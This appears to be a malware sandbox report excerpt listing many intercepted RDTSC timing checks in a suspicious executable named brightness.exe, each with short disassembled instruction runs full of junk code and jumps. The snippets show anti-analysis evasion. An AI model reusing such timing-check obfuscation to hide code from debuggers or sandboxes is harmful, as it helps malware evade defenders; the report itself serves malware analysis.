Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0C9A second address: 4FB0CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F4600EB04F2h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4600EB04F7h 0x00000018 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0019 second address: 4FA005E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4600C59B0Eh 0x0000000f push eax 0x00000010 jmp 00007F4600C59B0Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4600C59B10h 0x0000001f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA005E second address: 4FA0062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0062 second address: 4FA0068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0068 second address: 4FA006E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA006E second address: 4FA0072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0072 second address: 4FA0136 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4600EB04F4h 0x0000000f and esp, FFFFFFF8h 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F4600EB04EEh 0x00000019 adc si, C728h 0x0000001e jmp 00007F4600EB04EBh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F4600EB04F8h 0x0000002a or al, FFFFFF88h 0x0000002d jmp 00007F4600EB04EBh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ecx 0x00000035 jmp 00007F4600EB04F6h 0x0000003a push eax 0x0000003b pushad 0x0000003c mov bx, CE94h 0x00000040 pushfd 0x00000041 jmp 00007F4600EB04EDh 0x00000046 sbb si, B756h 0x0000004b jmp 00007F4600EB04F1h 0x00000050 popfd 0x00000051 popad 0x00000052 xchg eax, ecx 0x00000053 jmp 00007F4600EB04EEh 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0136 second address: 4FA0153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0153 second address: 4FA0159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0159 second address: 4FA015D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA015D second address: 4FA01BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4600EB04F9h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F4600EB04EEh 0x00000017 mov ebx, dword ptr [ebp+10h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F4600EB04F7h 0x00000021 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA01BB second address: 4FA0234 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ebx, eax 0x0000000d pushad 0x0000000e mov cx, 9435h 0x00000012 mov cx, 3EB1h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a mov cl, bl 0x0000001c jmp 00007F4600C59B16h 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 mov dx, ax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007F4600C59B18h 0x0000002f adc ecx, 6620A218h 0x00000035 jmp 00007F4600C59B0Bh 0x0000003a popfd 0x0000003b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0234 second address: 4FA0281 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4600EB04F8h 0x00000008 adc ch, 00000078h 0x0000000b jmp 00007F4600EB04EBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 mov esi, dword ptr [ebp+08h] 0x00000017 jmp 00007F4600EB04F6h 0x0000001c xchg eax, edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0281 second address: 4FA029E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA029E second address: 4FA02CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4600EB04F1h 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA02CC second address: 4FA02D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA02D2 second address: 4FA02D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA02D8 second address: 4FA02DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA02DC second address: 4FA02E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA02E0 second address: 4FA032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b call 00007F4600C59B16h 0x00000010 push eax 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007F4600C59B0Dh 0x0000001b or ax, 1A96h 0x00000020 jmp 00007F4600C59B11h 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA032B second address: 4FA0354 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 je 00007F4672E3E7C8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4600EB04F9h 0x00000015 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0354 second address: 4FA035A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA035A second address: 4FA035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA035E second address: 4FA0362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0362 second address: 4FA039B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movzx ecx, dx 0x00000015 pushfd 0x00000016 jmp 00007F4600EB04EDh 0x0000001b adc cl, 00000006h 0x0000001e jmp 00007F4600EB04F1h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA039B second address: 4FA0430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4600C59B17h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F4600C59B19h 0x0000000f sub cx, DAC6h 0x00000014 jmp 00007F4600C59B11h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d je 00007F4672BE7D47h 0x00000023 jmp 00007F4600C59B0Eh 0x00000028 mov edx, dword ptr [esi+44h] 0x0000002b jmp 00007F4600C59B10h 0x00000030 or edx, dword ptr [ebp+0Ch] 0x00000033 jmp 00007F4600C59B10h 0x00000038 test edx, 61000000h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0430 second address: 4FA0434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0434 second address: 4FA043A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA043A second address: 4FA046C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4600EB04F2h 0x00000008 pop esi 0x00000009 mov di, 76E6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jne 00007F4672E3E717h 0x00000016 pushad 0x00000017 movsx edi, ax 0x0000001a popad 0x0000001b test byte ptr [esi+48h], 00000001h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA046C second address: 4FA0472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0472 second address: 4FA04AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F4672E3E6FFh 0x0000000f jmp 00007F4600EB04F0h 0x00000014 test bl, 00000007h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4600EB04EAh 0x00000020 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA04AF second address: 4FA04B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA04B3 second address: 4FA04B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA04B9 second address: 4FA04CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600C59B0Dh 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60DA7 second address: 4F60DD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, 33h 0x0000000d movsx edi, ax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4600EB04EEh 0x00000019 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60CB6 second address: 4F60CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60CBA second address: 4F60CD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60CD7 second address: 4F60D3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov eax, 13998823h 0x00000010 movzx eax, bx 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov esi, 6A8F6377h 0x0000001b pushfd 0x0000001c jmp 00007F4600C59B0Ch 0x00000021 jmp 00007F4600C59B15h 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 jmp 00007F4600C59B0Eh 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push edx 0x00000034 pop ecx 0x00000035 movsx edi, cx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60D3C second address: 4F60D42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60D42 second address: 4F60D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60024 second address: 4F6003F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, 20A6h 0x00000011 movsx ebx, ax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F6003F second address: 4F60083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F4600C59B0Dh 0x00000012 xchg eax, ebp 0x00000013 jmp 00007F4600C59B0Eh 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F4600C59B17h 0x00000021 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F7038B second address: 4F7038F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F7038F second address: 4F703A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F703A2 second address: 4F703CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4600EB04ECh 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F703CE second address: 4F70439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4600C59B11h 0x00000009 or ecx, 1138CDE6h 0x0000000f jmp 00007F4600C59B11h 0x00000014 popfd 0x00000015 call 00007F4600C59B10h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushfd 0x00000023 jmp 00007F4600C59B0Dh 0x00000028 xor esi, 215FFDF6h 0x0000002e jmp 00007F4600C59B11h 0x00000033 popfd 0x00000034 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F702CC second address: 4F702D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F702D0 second address: 4F702D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F702D6 second address: 4F7034A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007F4600EB04EEh 0x00000011 mov bl, ah 0x00000013 pop edi 0x00000014 pushfd 0x00000015 jmp 00007F4600EB04ECh 0x0000001a xor si, B418h 0x0000001f jmp 00007F4600EB04EBh 0x00000024 popfd 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F4600EB04EBh 0x00000030 sbb eax, 4FA978DEh 0x00000036 jmp 00007F4600EB04F9h 0x0000003b popfd 0x0000003c mov ah, D7h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F7034A second address: 4F70367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600C59B19h 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70255 second address: 4F7025B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F7025B second address: 4F7025F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F6088F second address: 4F608B4 instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F4600EB04F5h 0x0000000c pop eax 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608B4 second address: 4F608B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608B8 second address: 4F608BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608BC second address: 4F608C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608C2 second address: 4F608C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608C8 second address: 4F608CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608CC second address: 4F608D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608D0 second address: 4F608EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4600C59B11h 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F608EE second address: 4F60961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushfd 0x00000006 jmp 00007F4600EB04F3h 0x0000000b or eax, 094F663Eh 0x00000011 jmp 00007F4600EB04F9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F4600EB04ECh 0x00000023 xor ecx, 133D6B38h 0x00000029 jmp 00007F4600EB04EBh 0x0000002e popfd 0x0000002f mov di, si 0x00000032 popad 0x00000033 pop ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F4600EB04ECh 0x0000003d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60961 second address: 4F60970 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60970 second address: 4F60976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60976 second address: 4F6097A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60773 second address: 4F607F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4600EB04F7h 0x00000009 jmp 00007F4600EB04F3h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F4600EB04F8h 0x00000015 sbb cx, AAA8h 0x0000001a jmp 00007F4600EB04EBh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 xchg eax, ebp 0x00000024 jmp 00007F4600EB04F6h 0x00000029 push eax 0x0000002a jmp 00007F4600EB04EBh 0x0000002f xchg eax, ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F607F9 second address: 4F60814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60814 second address: 4F6081A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F6081A second address: 4F6081E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F6081E second address: 4F60822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60822 second address: 4F6086C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4600C59B17h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F4600C59B0Bh 0x00000018 call 00007F4600C59B18h 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F6086C second address: 4F60872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F7050A second address: 4F70592 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4600C59B0Eh 0x0000000f push eax 0x00000010 jmp 00007F4600C59B0Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov dx, si 0x0000001a pushfd 0x0000001b jmp 00007F4600C59B10h 0x00000020 adc ch, FFFFFF88h 0x00000023 jmp 00007F4600C59B0Bh 0x00000028 popfd 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007F4600C59B16h 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F4600C59B17h 0x00000039 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70592 second address: 4F705AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600EB04F4h 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F705AA second address: 4F705AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60ECD second address: 4F60ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60ED1 second address: 4F60ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60ED7 second address: 4F60EFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4600EB04EAh 0x00000013 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60EFE second address: 4F60F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60F04 second address: 4F60F2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F4600EB04F0h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
